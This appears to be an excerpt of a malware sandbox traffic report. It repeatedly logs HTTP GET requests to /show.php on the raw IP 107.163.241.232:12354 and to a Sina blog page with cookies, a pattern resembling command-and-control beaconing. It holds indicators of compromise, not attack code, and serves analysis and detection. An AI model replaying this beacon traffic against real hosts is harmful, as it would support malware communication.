Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
